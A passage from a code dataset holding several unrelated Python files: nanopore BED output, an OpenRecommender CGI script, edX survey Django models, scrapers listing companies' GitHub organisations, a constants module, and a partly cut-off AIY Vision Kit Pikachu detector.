check\n close_dist = 0.5\n if abs(np.diff(dists)) < close_dist and mod_ratio > 0.5:\n mod_cluster = set(range(len(w))) - set(mod_cluster) - set(kickout)\n mod_cluster = np.array(list(mod_cluster))\n\n read_labels = np.where(np.isin(read_labels0, mod_cluster), 1, 0)\n read_labels[np.isin(read_labels0, kickout)] = 0\n \n pos += middle_base_dist\n mod_reads = reads_win[(read_labels == 1) & (read_probs > post_cutoff)]\n reads_win = reads_win[~np.isin(read_labels0, kickout)]\n\n # write read-level output\n for read_id, label, prob in zip(reads_win, read_labels, read_probs):\n if label == 1:\n r = read_bed_row(contig, read_id, pos, mod_type, prob, strand)\n read_out.write(r)\n \n # write site-level output\n mod_ratio = len(mod_reads) / len(reads_win)\n s = site_bed_row(contig, pos, mod_type, site_confidence, strand, len(reads_win), mod_ratio)\n site_out.write(s)\n\n\ndef read_bed_row(contig, read_id, pos, mod_type, confidence, strand):\n # pos is 0-base\n coverage = 1\n freq = 100\n chrom = f'{contig}:{read_id}'\n score = int(confidence * CONFIDENCE_SCALE)\n rgb = MOD_RGB[mod_type]\n ref_base = MOD_REF[mod_type]\n items = [chrom, pos, pos+1, mod_type, score, strand, pos, pos+1,\n rgb, coverage, freq, ref_base]\n return '\\t'.join(map(str, items)) + '\\n'\n\n\ndef site_bed_row(contig, pos, mod_type, confidence, strand, coverage, freq):\n # pos is 0-base\n chrom = contig\n score = int(confidence * CONFIDENCE_SCALE)\n rgb = MOD_RGB[mod_type]\n freq = int(freq * 100)\n ref_base = MOD_REF[mod_type]\n items = [chrom, pos, pos+1, mod_type, score, strand, pos, pos+1,\n rgb, coverage, freq, ref_base]\n return '\\t'.join(map(str, items)) + '\\n'\n","repo_name":"chilampoon/bayespore","sub_path":"bayespore/bed_out.py","file_name":"bed_out.py","file_ext":"py","file_size_in_byte":4709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"74329878601","text":"#!c:/Python27/python.exe -u\n#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\nimport sys\nimport cgitb\nimport cgi\nimport urllib\nimport OpenRecommender\n\ncgitb.enable()\n\nDEBUG = 0 #1 to turn debugging on, 0 to turn it off\n \ndef main():\n\n #Store url, encoding and format passed with URL parameters used to call this script (if any)\n params = cgi.FieldStorage()\n url = params.getvalue('url')\n format = params.getvalue('f')\n encoding = params.getvalue('e') \n\n errors = []\n \n if (url is None) or (len(url) == 0):\n url = \"http://openrecommender.org/schema/XML/recommendations.xml\"\n errors.append(\"
    ** WARNING - Missing URL (using default) **\")\n\n if (format is None) or (len(format) == 0):\n format = \"text/html\"\n errors.append(\"
    ** WARNING - Missing Format (using default) **\")\n\n if (encoding is None) or (len(encoding) == 0):\n encoding = \"utf-8\"\n errors.append(\"
    ** WARNING - Missing Encoding (using default) **\")\n \n # HTTP Response Header\n print(\"Content-Type: \"+format+\";charset=\"+encoding)\n print(\"\")\n \n #perform lookup to get remote content\n # urllib.urlopen(url).read()\n \n python_style = ''\n print(python_style)\n \n if len(sys.argv) >= 3:\n if (sys.argv[1].find(\"json\") != -1) or (sys.argv[2].lower() == \"json\") or (url.find(\"json\") != -1) or (format.find(\"json\") != -1):\n print(OpenRecommender.openrecommenderJSON(sys.argv[1]))\n else:\n print(OpenRecommender.openrecommenderXML(sys.argv[1]))\n elif len(sys.argv) == 2:\n if sys.argv[1].find(\"json\") != -1 or (url.find(\"json\") != -1) or (format.find(\"json\") != -1):\n print(OpenRecommender.openrecommenderJSON(sys.argv[1]))\n else:\n print(OpenRecommender.openrecommenderXML(sys.argv[1]))\n else: \n print(OpenRecommender.openrecommenderJSON(\"recommendations.json\"))\n errors.append(\"
    ERROR: Could not read Recommendations file, please call 'index.py RECOMMENDATIONS' from command-line. Defaulting to sample recommendations.\")\n\t\n if DEBUG: \n print(\"\".join(errors))\n \n print('')\n \nif __name__ == '__main__':\n main()","repo_name":"bcmoney/OpenRecommender-SDK","sub_path":"python/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":2347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"3744382119","text":"\"\"\"\nDatabase models for outcome_surveys.\n\"\"\"\nfrom django.db import models\nfrom jsonfield import JSONField\n# from django.db import models\nfrom model_utils.models import TimeStampedModel\nfrom opaque_keys.edx.django.models import CourseKeyField\n\nfrom outcome_surveys.constants import (\n ENROLLMENT_TYPE_B2C,\n SEGMENT_LEARNER_ACHIEVED_LEARNING_TIME_EVENT_TYPE,\n SEGMENT_LEARNER_PASSED_COURSE_FIRST_TIME_EVENT_TYPE,\n)\n\n\nclass LearnerCourseEvent(TimeStampedModel):\n \"\"\"\n Learner Course Event model for tracking passed event sent to learners.\n\n .. no_pii:\n \"\"\"\n\n user_id = models.IntegerField()\n course_id = CourseKeyField(blank=False, null=False, max_length=255)\n data = JSONField()\n follow_up_date = models.DateField()\n\n EVENT_CHOICES = [\n (SEGMENT_LEARNER_PASSED_COURSE_FIRST_TIME_EVENT_TYPE, SEGMENT_LEARNER_PASSED_COURSE_FIRST_TIME_EVENT_TYPE),\n (SEGMENT_LEARNER_ACHIEVED_LEARNING_TIME_EVENT_TYPE, SEGMENT_LEARNER_ACHIEVED_LEARNING_TIME_EVENT_TYPE),\n ]\n event_type = models.CharField(\n max_length=255,\n choices=EVENT_CHOICES,\n default=SEGMENT_LEARNER_PASSED_COURSE_FIRST_TIME_EVENT_TYPE,\n )\n already_sent = models.BooleanField(default=False)\n\n class Meta:\n \"\"\"\n Meta class for LearnerCourseEvent.\n \"\"\"\n\n app_label = \"outcome_surveys\"\n indexes = [\n models.Index(fields=['follow_up_date']),\n models.Index(fields=['created']),\n ]\n\n def __str__(self):\n \"\"\"\n Get a string representation of this model instance.\n \"\"\"\n # TODO: return a string appropriate for the data fields\n return ''.format(self.id)\n\n\nclass MultiChoiceResponse(TimeStampedModel):\n \"\"\"\n Learner's survey response for multi choice questions.\n\n .. no_pii:\n \"\"\"\n\n answer = models.TextField()\n\n @staticmethod\n def save_answers(parent, related_field_name, user_choices):\n \"\"\"\n Store answers.\n \"\"\"\n answers = []\n for user_choice in user_choices:\n answer = MultiChoiceResponse.objects.filter(answer=user_choice).first()\n if answer is None:\n answer = MultiChoiceResponse.objects.create(answer=user_choice)\n answers.append(answer)\n\n instance_related_field = getattr(parent, related_field_name)\n instance_related_field.set(answers)\n\n class Meta:\n \"\"\"\n Meta class for MultiChoiceResponse.\n \"\"\"\n\n app_label = \"outcome_surveys\"\n\n def __str__(self):\n \"\"\"\n Get a string representation of this model instance.\n \"\"\"\n return f''\n\n\nclass CourseReflection(TimeStampedModel):\n \"\"\"\n Learner's reflections about a Course.\n\n .. no_pii:\n \"\"\"\n\n survey_id = models.IntegerField()\n survey_response_id = models.BigIntegerField()\n enrollment_type = models.CharField(\n max_length=16,\n default=ENROLLMENT_TYPE_B2C,\n help_text=(\"Enrollment type. B2C or B2B\"),\n )\n lms_enrollment_id = models.IntegerField(\n null=True,\n help_text=(\"Learner's LMS course enrollment id.\"),\n )\n # multiple choice\n online_learning_goals = models.ManyToManyField(\n MultiChoiceResponse,\n related_name=\"+\",\n help_text=(\"What is your goal with online learning?\")\n )\n # multiple choice\n goal_decisions = models.ManyToManyField(\n MultiChoiceResponse,\n related_name=\"+\",\n help_text=(\"How did you decide on that goal?\")\n )\n help_reach_goal = models.CharField(\n max_length=256,\n default=\"\",\n help_text=(\"How confident are you that the learning you did in this course will help you reach your goal?\")\n )\n course_rating = models.IntegerField(\n null=True,\n help_text=(\"How would you rate the quality of this course?\")\n )\n course_experience = models.TextField(\n default=\"\",\n help_text=(\"Is there anything else you'd like to add about your experience in the course?\")\n )\n open_to_outreach = models.BooleanField(\n null=True,\n help_text=(\"Would you be open to someone from edX reaching out to learn more about your experience?\")\n )\n\n @classmethod\n def save_response(cls, response):\n \"\"\"\n Save a survey response.\n \"\"\"\n survey_response = response.copy()\n\n online_learning_goals = survey_response.pop(\"online_learning_goals\") or []\n goal_decisions = survey_response.pop(\"goal_decisions\") or []\n survey_id = survey_response.pop('survey_id')\n survey_response_id = survey_response.pop('survey_response_id')\n\n # None to \"\" conversion for char and text fields where default is set to \"\"\n empty_string_fields = ('help_reach_goal', 'course_experience')\n for field in empty_string_fields:\n survey_response[field] = survey_response[field] or \"\"\n\n course_reflection, __ = cls.objects.update_or_create(\n survey_id=survey_id,\n survey_response_id=survey_response_id,\n defaults=survey_response\n )\n\n MultiChoiceResponse.save_answers(course_reflection, 'online_learning_goals', online_learning_goals)\n MultiChoiceResponse.save_answers(course_reflection, 'goal_decisions', goal_decisions)\n\n class Meta:\n \"\"\"\n Meta class for CourseReflection.\n \"\"\"\n\n app_label = \"outcome_surveys\"\n unique_together = (\"survey_id\", \"survey_response_id\",)\n indexes = [\n models.Index(fields=['survey_id', 'survey_response_id']),\n models.Index(fields=['survey_response_id']),\n models.Index(fields=['lms_enrollment_id']),\n ]\n\n def __str__(self):\n \"\"\"\n Get a string representation of this model instance.\n \"\"\"\n return f''\n\n\nclass CourseGoal(TimeStampedModel):\n \"\"\"\n Learner's feedback about course goal.\n\n .. no_pii:\n \"\"\"\n\n survey_id = models.IntegerField()\n survey_response_id = models.BigIntegerField()\n enrollment_type = models.CharField(\n max_length=16,\n default=ENROLLMENT_TYPE_B2C,\n help_text=(\"Enrollment type. B2C or B2B\"),\n )\n lms_enrollment_id = models.IntegerField(\n null=True,\n help_text=(\"Learner's LMS course enrollment id.\"),\n )\n # common fields\n # multiple choice\n online_learning_goals = models.ManyToManyField(\n MultiChoiceResponse,\n related_name=\"+\",\n help_text=(\"What is your goal with online learning?\")\n )\n goal_achieved = models.BooleanField(\n null=True,\n help_text=(\"Did you achieve that goal?\")\n )\n online_learning_goal = models.TextField(\n default=\"\",\n help_text=(\"In a few words, describe your goal for online learning.\")\n )\n open_to_outreach = models.BooleanField(\n null=True,\n help_text=(\"Would you be open to someone from edX reaching out to learn more about your experience?\")\n )\n\n # fields for passed learners\n salary_change = models.BooleanField(\n null=True,\n help_text=(\"Did you experience any salary changes as a result of meeting this goal?\")\n )\n job_promotion = models.BooleanField(\n null=True,\n help_text=(\"Did you experience a job promotion or job change as a result of meeting this goal?\")\n )\n learning_experience_importance = models.CharField(\n max_length=256,\n default=\"\",\n help_text=(\"How important was the learning experience you had on edX for achieving that goal?\")\n )\n experience_impacted_goals = models.TextField(\n default=\"\",\n help_text=(\"Is there anything else you’d like to share about how your experience on edX impacted your goals?\")\n )\n\n # fields for failed learners\n close_to_goal = models.CharField(\n max_length=256,\n default=\"\",\n help_text=(\"How close are you from achieving your goal?\")\n )\n factors_influenced_timeline = models.TextField(\n default=\"\",\n help_text=(\"What factors influenced the timeline for your goal?\")\n )\n achieve_goal_sooner = models.TextField(\n default=\"\",\n help_text=(\"Is there anything that could have gone different with your experience on edX to help you achieve your goal sooner?\") # nopep8 pylint: disable=line-too-long, superfluous-parens\n )\n\n @classmethod\n def save_response(cls, response):\n \"\"\"\n Save a survey response.\n \"\"\"\n survey_response = response.copy()\n\n online_learning_goals = survey_response.pop(\"online_learning_goals\") or []\n survey_id = survey_response.pop('survey_id')\n survey_response_id = survey_response.pop('survey_response_id')\n\n # None to \"\" conversion for char and text fields where default is set to \"\"\n empty_string_fields = (\n 'close_to_goal',\n 'achieve_goal_sooner',\n 'online_learning_goal',\n 'experience_impacted_goals',\n 'factors_influenced_timeline',\n 'learning_experience_importance',\n )\n for field in empty_string_fields:\n survey_response[field] = survey_response[field] or \"\"\n\n course_goal, __ = cls.objects.update_or_create(\n survey_id=survey_id,\n survey_response_id=survey_response_id,\n defaults=survey_response\n )\n\n MultiChoiceResponse.save_answers(course_goal, 'online_learning_goals', online_learning_goals)\n\n class Meta:\n \"\"\"\n Meta class for CourseGoal.\n \"\"\"\n\n app_label = \"outcome_surveys\"\n unique_together = (\"survey_id\", \"survey_response_id\",)\n indexes = [\n models.Index(fields=['survey_id', 'survey_response_id']),\n models.Index(fields=['survey_response_id']),\n models.Index(fields=['lms_enrollment_id']),\n ]\n\n def __str__(self):\n \"\"\"\n Get a string representation of this model instance.\n \"\"\"\n return f''\n\n\nclass SurveyExport(TimeStampedModel):\n \"\"\"\n Survey export metadata.\n\n .. no_pii:\n \"\"\"\n\n survey_id = models.IntegerField(null=False)\n last_successfull_export_at = models.DateTimeField(null=False)\n\n @classmethod\n def save_export_timestamp(cls, survey_id, timestamp):\n \"\"\"\n Save `last_successfull_export_at` for `survey_id`.\n \"\"\"\n if timestamp:\n cls.objects.update_or_create(survey_id=survey_id, defaults={\"last_successfull_export_at\": timestamp})\n\n @classmethod\n def last_successfull_export_timestamp(cls, survey_id):\n \"\"\"\n Return `last_successfull_export_at` in ISO format.\n \"\"\"\n try:\n return cls.objects.get(survey_id=survey_id).last_successfull_export_at.isoformat()\n except SurveyExport.DoesNotExist:\n return None\n\n class Meta:\n \"\"\"\n Meta class for SurveyExport.\n \"\"\"\n\n app_label = \"outcome_surveys\"\n\n def __str__(self):\n \"\"\"\n Get a string representation of this model instance.\n \"\"\"\n last_export_ts = self.last_successfull_export_timestamp(self.survey_id)\n return f''\n","repo_name":"edx/outcome-surveys","sub_path":"outcome_surveys/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":11402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"20359753994","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 3 15:42:47 2022\n\n@author: erinnsun\n\"\"\"\n\n# for web scraping\nfrom selenium import webdriver \nfrom bs4 import BeautifulSoup\nimport time\nimport re\nimport requests\n\n# for file IO\nimport pandas as pd\nimport json\n\n\ndef get_org(git_url):\n '''\n utility function: retrieve an organization name from a 'git_url' of the form http://www.github.com/apple?=.github\n '''\n \n full = git_url.split('/')[3]\n return full.split('?')[0] # discard the repository name\n\n\n\n\n\ndef get_orgs_amzn(driver):\n page = requests.get(\"https://amzn.github.io/\")\n lines = page.text.split('\\n')\n\n flag = False\n orgs = []\n for line in lines:\n if (not flag and \"Amazon GitHub Organizations\" in line):\n flag = True\n elif flag:\n # example line: \"
    Alexa Labs |\"\n if(\"github.com/\" in line):\n start = line.find(\"github.com/\") + len(\"github.com/\")\n end = line.find(\">\") - 1\n orgs.append(line[start:end])\n \n return orgs\n\n\n\n\ndef get_orgs_adobe(driver):\n \n url = \"https://opensource.adobe.com//\"\n driver.get(url)\n time.sleep(5)\n \n content = driver.page_source\n soup = BeautifulSoup(content, 'html.parser')\n nodes = soup.findAll('a', {'org':'actOrg'})\n \n orgs = []\n for node in nodes:\n url = node.get('href')\n org = url.split('/')[3]\n if(org not in orgs):\n orgs.append(org)\n \n return orgs\n\n\n\n\ndef get_orgs_apple(driver):\n \n content = requests.get(\"https://opensource.apple.com/projects/\").text\n soup = BeautifulSoup(content, 'html.parser')\n \n apple_projects = soup.findAll('section', {'class': 'section section-apple bg-gray'})[0]\n buttons = apple_projects.findAll('a', {'class': 'button button-neutral button-reduced'})\n \n urls = []\n for b in buttons:\n if(b.find(text=re.compile(\"Details\"))):\n url = b.get('href')\n if(url not in urls):\n urls.append(url)\n \n url_root = 'https://opensource.apple.com'\n urls = [url_root + x for x in urls]\n \n orgs = []\n for url in urls:\n content = requests.get(url).text\n soup = BeautifulSoup(content, 'html.parser')\n buttons = soup.findAll('a', {'class': 'button button-neutral button-reduced'})\n \n for b in buttons:\n if(b.find(text=re.compile(\"GitHub\"))):\n org = get_org(b.get('href'))\n if(org not in orgs):\n orgs.append(org)\n \n return orgs\n\n\n\n\ndef get_orgs_autodesk(driver):\n \n content = requests.get(\"https://autodesk.github.io/\").text\n\n lines = content.split('\\n')\n \n orgs = []\n for line in lines:\n if('var orgs =' in line):\n start = line.find('[')\n end = line.find(']')\n line = line[start+1 : end]\n orgs = line.split(',')\n orgs = [x[1:-1] for x in orgs]\n break \n \n return orgs\n\n\n\n\ndef get_orgs_cerner(driver):\n \n content = requests.get(\"https://engineering.cerner.com/open-source/\").text\n soup = BeautifulSoup(content, \"html.parser\")\n \n nodes = soup.findAll('div', {'class': 'col-sm'})\n orgs = []\n \n for n in nodes:\n if(len(n.findAll('a')) == 2): # if it is a normal open source project\n url = n.findAll('a')[0].get('href')\n org = url.split('/')[3]\n if(org not in orgs):\n orgs.append(org) \n \n return orgs\n\n\n\ndef get_orgs_epam(driver):\n \n url = \"https://epam.github.io/\"\n driver.get(url)\n time.sleep(5)\n \n content = driver.page_source\n soup = BeautifulSoup(content, 'html.parser')\n nodes = soup.findAll('epamghio-project-item')\n \n orgs = []\n for node in nodes:\n url = node.findAll('a', {'class':'name'})[0].get('href')\n org = url.split('/')[3]\n if(org not in orgs):\n orgs.append(org)\n \n return orgs\n\n\n\n\n\ndef get_orgs_ericsson(driver):\n return ['EricssonResearch', 'Ericsson']\n\n\n\n\n\ndef get_orgs_facebook(driver):\n \n url = \"https://opensource.fb.com/projects#filter\"\n driver.get(url)\n time.sleep(5)\n \n loadAllButton = driver.find_element_by_xpath(\"//button[normalize-space()='View All']\")\n loadAllButton.click()\n time.sleep(5)\n \n content = driver.page_source\n soup = BeautifulSoup(content, 'html.parser')\n nodes = soup.findAll('a', {'title':'Go to GitHub'})\n \n orgs = []\n for node in nodes:\n url = node.get('href')\n org = url.split('/')[3]\n if org not in orgs:\n orgs.append(org)\n \n return orgs\n\n\n\n\ndef get_orgs_ibm(driver):\n \n content = requests.get('https://raw.githubusercontent.com/IBM/ibm.github.io/85002f387daa2fadde5974b70629b12a26c8888c/js/orgs.js').text\n lines = content.split('\\n')\n \n orgs = []\n for line in lines:\n if('name' in line):\n full_path = line.split(':')[1]\n if('/' not in full_path): # if it is an organization name\n org = full_path[2:-2]\n else: # ignore repositories\n continue\n if(org not in orgs):\n orgs.append(org)\n \n return orgs\n\n\n\n\ndef get_orgs_microsoft(driver):\n \n orgs = []\n content = requests.get(\"https://opensource.microsoft.com/api/repos\").json()\n for i in range(content['totalPages']):\n print(i)\n content = requests.get(\"https://opensource.microsoft.com/api/repos?page=%d\"%(i)).json()\n for repo in content['repos']:\n url = repo['html_url']\n org = url.split('/')[3]\n if(org not in orgs):\n orgs.append(org)\n \n return orgs\n\n\n\n\n\ndef get_orgs_newrelic(driver):\n \n return ['newrelic', 'newrelic-experimental'] # excluding 'GlobalsoftWigilabs' because it is belongs to a partner of New Relic\n \n url = \"https://opensource.newrelic.com/explore-projects/\"\n driver.get(url)\n time.sleep(5)\n loadAllButton = driver.find_element_by_xpath(\"//div[@class='explore-projects-module--show-all-button-container--1q4rq']/button\")\n loadAllButton.click()\n\n content = driver.page_source\n soup = BeautifulSoup(content, 'html.parser')\n nodes = soup.findAll('a', {'class': 'explore-projects-module--project-container--2COfC'})\n\n orgs = []\n base_url = \"https://opensource.newrelic.com\"\n for node in nodes:\n project_url = node.get('href')\n driver.get(base_url + project_url)\n print(project_url)\n content = driver.page_source\n soup = BeautifulSoup(content, 'html.parser')\n try:\n url = soup.findAll('a', {'class':'css-rqim9w e132irl20'})[0].get('href')\n except IndexError:\n time.sleep(3)\n content = driver.page_source\n soup = BeautifulSoup(content, 'html.parser')\n url = soup.findAll('a', {'class':'css-rqim9w e132irl20'})[0].get('href')\n org = url.split('/')[3]\n if org not in orgs:\n orgs.append(org)\n \n # return orgs\n\n\n\n\n\ndef get_orgs_oracle(driver):\n \n url = \"https://opensource.oracle.com/\"\n driver.get(url)\n print(len(driver.page_source))\n while True:\n try:\n loadMoreButton = driver.find_element_by_xpath(\"//button[@id='load-more']\")\n loadMoreButton.click()\n time.sleep(1)\n print(len(driver.page_source))\n except Exception as e:\n print(e)\n break\n \n \n content = driver.page_source\n soup = BeautifulSoup(content, 'html.parser')\n nodes = soup.findAll(\"a\", {\"class\": \"gh-Repo-MetaItem gh-Repo-MetaItem--rating template-href\"})\n \n orgs = []\n for node in nodes:\n org = node.get(\"href\").split('/')[-1]\n if org not in orgs:\n orgs.append(org)\n \n return orgs\n\n\n\n\ndef get_orgs_pinterest(driver):\n return ['pinterest', 'texturegroup']\n\n\n\n\ndef get_orgs_spotify(driver):\n \n content = requests.get('https://spotify.github.io/').text\n soup = BeautifulSoup(content, 'html.parser')\n nodes = soup.findAll('div', {'class': 'col-sm-6 col-lg-3'})\n \n orgs = []\n for node in nodes:\n url = node.findAll('a')[0].get('href')\n org = url.split('/')[3]\n if org not in orgs:\n orgs.append(org)\n \n return orgs\n\n\n\n\n\ndef get_orgs_twilio(driver):\n \n content = requests.get(\"https://www.twilio.com/open-source\").text\n soup = BeautifulSoup(content, 'html.parser')\n nodes = soup.findAll('a', {'class': 'btn btn--secondary'})\n \n nodes2 = soup.findAll('ul', {'class': 'docs-article__list'})[0].findAll('a')\n nodes.extend(nodes2)\n \n orgs = []\n for node in nodes:\n url = node.get('href')\n if('github.com' in url):\n org = url.split('/')[3]\n if(org not in orgs):\n orgs.append(org)\n \n return orgs\n\n\n\n\n\ndef get_orgs_twitter(driver):\n \n content = requests.get('https://opensource.twitter.dev/projects/').text\n soup = BeautifulSoup(content, 'html.parser')\n \n nodes = soup.findAll('div', {'class':'project-card'})\n \n orgs = []\n for node in nodes:\n url = node('a', text=re.compile(r'GitHub'))[0].get('href')\n org = url.split('/')[3]\n if(org not in orgs):\n orgs.append(org)\n \n return orgs\n\n\n\n\n\ndef get_orgs_uber(driver):\n \n url = \"https://uber.github.io/#/github\"\n driver.get(url)\n time.sleep(10)\n \n content = driver.page_source\n soup = BeautifulSoup(content, 'html.parser')\n nodes = soup.findAll('a', {'data-baseweb':'button'})\n \n orgs = []\n for node in nodes:\n if(node.text == 'View on GitHub'):\n url = node.get('href')\n org = url.split('/')[3]\n if org not in orgs:\n orgs.append(org)\n \n return orgs\n\n\n\n\n\ndef get_orgs_vmware(driver):\n return ['vmware', 'vmware-labs', 'vmware-samples', 'vmware-tanzu', 'vmware-tanzu-labs']\n\n\n\n\n\ndef get_orgs_wayfair(driver):\n \n url = \"https://wayfair.github.io/\"\n content = requests.get(url).text\n soup = BeautifulSoup(content, 'html.parser')\n sections = soup.findAll('div', {'class': 'd-inline-block'})\n\n for s in sections:\n heading = s.findAll('div', {'class': 'footer-heading'})[0]\n if(heading.text == 'GitHub'):\n nodes = s.findAll('a')\n\n orgs = []\n for node in nodes:\n url = node.get('href')\n org = url.split('/')[3]\n if org not in orgs:\n orgs.append(org)\n \n return orgs\n \n \n\n\ndef get_orgs_baidu(driver):\n \n return ['ApolloAuto', 'PaddlePaddle', 'baidu', 'xuperchain', 'swan-team'] # to be efficient\n\n url = \"https://opensource.baidu.com/#/projectslist\"\n driver.get(url)\n time.sleep(3)\n\n content = driver.page_source\n soup = BeautifulSoup(content, 'html.parser')\n body = soup.findAll('div', {'class': 'projectsList'})[0]\n nodes = body.findAll('a')\n\n # get the number of pages\n footer = soup.findAll('ul', {'class':'pagination'})[0]\n page_elements = footer.findAll('li')\n pages = list(range(2, len(page_elements)-2))\n pages = [str(x) for x in pages]\n pages.append(\"尾页\")\n\n for page in pages:\n \n # find the page 'i' button and click it\n btn = driver.find_element_by_link_text(page)\n time.sleep(5)\n btn.click()\n time.sleep(2)\n \n # add the new nodes\n content = driver.page_source\n soup = BeautifulSoup(content, 'html.parser')\n body = soup.findAll('div', {'class': 'projectsList'})[0]\n nodes.extend(body.findAll('a'))\n\n orgs = []\n for node in nodes:\n url = node.get('href')\n org = url.split('/')[3]\n if org not in orgs:\n orgs.append(org)\n \n return orgs\n\n\n\n\ndef get_orgs_atlassian(driver):\n \n return ['atlassian', 'atlassian-labs']\n\n\n\n\ndef get_orgs_vonage(driver):\n \n return ['vonage', 'nexmo']\n\n\n\n\nif __name__ == '__main__':\n \n companies_path = \"./companies_final.csv\"\n companies = pd.read_csv(companies_path, sep = \",\")\n \n driver_path = \"./chromedriver\"\n driver = webdriver.Chrome(driver_path)\n \n d_orgs = {}\n for i in range(companies.shape[0]):\n company_git = companies.at[i, 'githubUser']\n company_ticker = companies.at[i, 'symbol']\n print(company_git)\n \n if(companies.at[i, 'multiple_orgs'] == '0'): # only a single github org\n d_orgs[company_git] = {'ticker': company_ticker, 'orgs':[company_git]}\n else:\n if(companies.at[i, 'scraper'] == 1): # has a web scraper\n d_orgs[company_git] = {'ticker': company_ticker, 'orgs': []}\n d_orgs[company_git]['orgs'] = eval('get_orgs_'+ company_git.lower() + '(driver)')\n if company_git not in d_orgs[company_git]['orgs']:\n d_orgs[company_git]['orgs'].append(company_git)\n \n \n save_path = \"./companies.json\"\n with open(save_path, 'w') as f:\n json.dump(d_orgs, f)\n \n \n \n \n \n \n ","repo_name":"erinnyiransun/GitHub-Data-Driven-Alpha-in-Tech-Industry","sub_path":"src/data/webscraper/scrapers.py","file_name":"scrapers.py","file_ext":"py","file_size_in_byte":13176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"30512107202","text":"from parse_utils import parse_date\n\n# files\nfname_personal = 'data/personal_info.csv'\nfname_employment = 'data/employment.csv'\nfname_vehicles = 'data/vehicles.csv'\nfname_update_status = 'data/update_status.csv'\nfnames = fname_personal, \\\n fname_employment, \\\n fname_vehicles, \\\n fname_update_status\n\n# Parsers\npersonal_parser = (str, str, str, str, str)\nemployment_parser = (str, str, str, str)\nvehicles_parser = (str, str, str, int)\npdate_status_parser = (str, parse_date, parse_date)\nparsers = personal_parser, \\\n employment_parser, \\\n vehicles_parser, \\\n pdate_status_parser\n\n# Named Tuple Names\npersonal_class_name = 'Personal'\nemployment_class_name = 'Employment'\nvehicles_class_name = 'Vehicles'\nupdate_status_class_name = 'UpdateStatus'\nclass_names = personal_class_name, \\\n employment_class_name, \\\n vehicles_class_name, \\\n update_status_class_name\n\n# Field Inclusion/Exclusion\npersonal_fields_compress = [True, True, True, True, True]\nemployment_fields_compress = [True, True, True, False]\nvehicles_fields_compress = [False, True, True, True]\nupdate_status_fields_compress = [False, True, True]\ncompress_fields = personal_fields_compress, \\\n employment_fields_compress, \\\n vehicles_fields_compress, \\\n update_status_fields_compress\n","repo_name":"TarasVladimirovich/Deep_Dive","sub_path":"part2/project4/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8222675912","text":"#!/usr/bin/env python3\n# DISCLAIMER: this code has been taken by Google Vision Kit and edit by me.\n\nimport argparse\nimport os\n\nfrom picamera import PiCamera\nfrom time import time, strftime\n\nfrom aiy.vision.leds import Leds\nfrom aiy.vision.leds import PrivacyLed\nfrom aiy.toneplayer import TonePlayer\n\nfrom aiy.vision.inference import CameraInference\nfrom aiy.vision.annotator import Annotator\nimport pikachu_object_detection\n\n# Sound setup\nMODEL_LOAD_SOUND = ('C6w', 'c6w', 'C6w')\nBEEP_SOUND = ('E6q', 'C6q')\nplayer = TonePlayer(gpio=22, bpm=30)\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--num_frames',\n '-f',\n type=int,\n dest='num_frames',\n default=-1,\n help='Sets the number of frames to run for, otherwise runs forever.')\n\n parser.add_argument(\n '--num_pics',\n '-p',\n type=int,\n dest='num_pics',\n default=-1,\n help='Sets the max number of pictures to take, otherwise runs forever.')\n\n args = parser.parse_args()\n\n with PiCamera() as camera, PrivacyLed(Leds()):\n # See the Raspicam documentation for mode and framerate limits:\n # https://picamera.readthedocs.io/en/release-1.13/fov.html#sensor-modes\n # Set to the highest resolution possible at 16:9 aspect ratio\n camera.sensor_mode = 4\n camera.resolution = (1640, 1232)\n camera.start_preview(fullscreen=True)\n\n with CameraInference(pikachu_object_detection.model()) as inference:\n print(\"Camera inference started\")\n player.play(*MODEL_LOAD_SOUND)\n\n last_time = time()\n pics = 0\n save_pic = False\n enable_label = True\n\n # Annotator renders in software so use a smaller size and scale results\n # for increased performace.\n annotator = Annotator(camera, dimensions=(320, 240))\n scale_x = 320 / 1640\n scale_y = 240 / 1232\n\n # Incoming boxes are of the form (x, y, width, height). Scale and\n # transform to the form (x1, y1, x2, y2).\n def transform(bounding_box):\n x, y, width, height = bounding_box\n return (scale_x * x, scale_y * y, scale_x * (x + width),\n scale_y * (y + height))\n\n def leftCorner(bounding_box):\n x, y, width, height = bounding_box\n return (scale_x * x, scale_y * y)\n\n def truncateFloat(value):\n return '%.3f'%(value)\n\n for f, result in enumerate(inference.run()):\n print(\"sono dentro al ciclo..\")\n print(os.getcwd() + '/pikachu_detector.binaryproto')\n annotator.clear()\n detections = enumerate(pikachu_object_detection.get_objects(result, 0.3))\n for i, obj in detections:\n print(\"sono dentro al secondo ciclo..\")\n print('%s',obj.label)\n annotator.bounding_box(transform(obj.bounding_box), fill=0)\n if enable_label:\n annotator.text(leftCorner(obj.bounding_box),obj.label + \" - \" + str(truncateFloat(obj.score)))\n print('%s Object #%d: %s' % (strftime(\"%Y-%m-%d-%H:%M:%S\"), i, str(obj)))\n x, y, width, height = obj.bounding_box\n if obj.label == 'PIKACHU':\n save_pic = True\n #player.play(*BEEP_SOUND)\n\n # save the image if there was 1 or more cats detected\n\n if save_pic:\n # save the clean image\n #camera.capture(\"images/image_%s.jpg\" % strftime(\"%Y%m%d-%H%M%S\"))\n pics += 1\n save_pic = False\n\n #if f == args.num_frames or pics == args.num_pics:\n # break\n\n now = time()\n duration = (now - last_time)\n annotator.update()\n\n # The Movidius chip runs at 35 ms per image.\n # Then there is some additional overhead for the object detector to\n # interpret the result and to save the image. If total process time is\n # running slower than 50 ms it could be a sign the CPU is geting overrun\n #if duration > 0.50:\n # print(\"Total process time: %s seconds. Bonnet inference time: %s ms \" %\n # (duration, 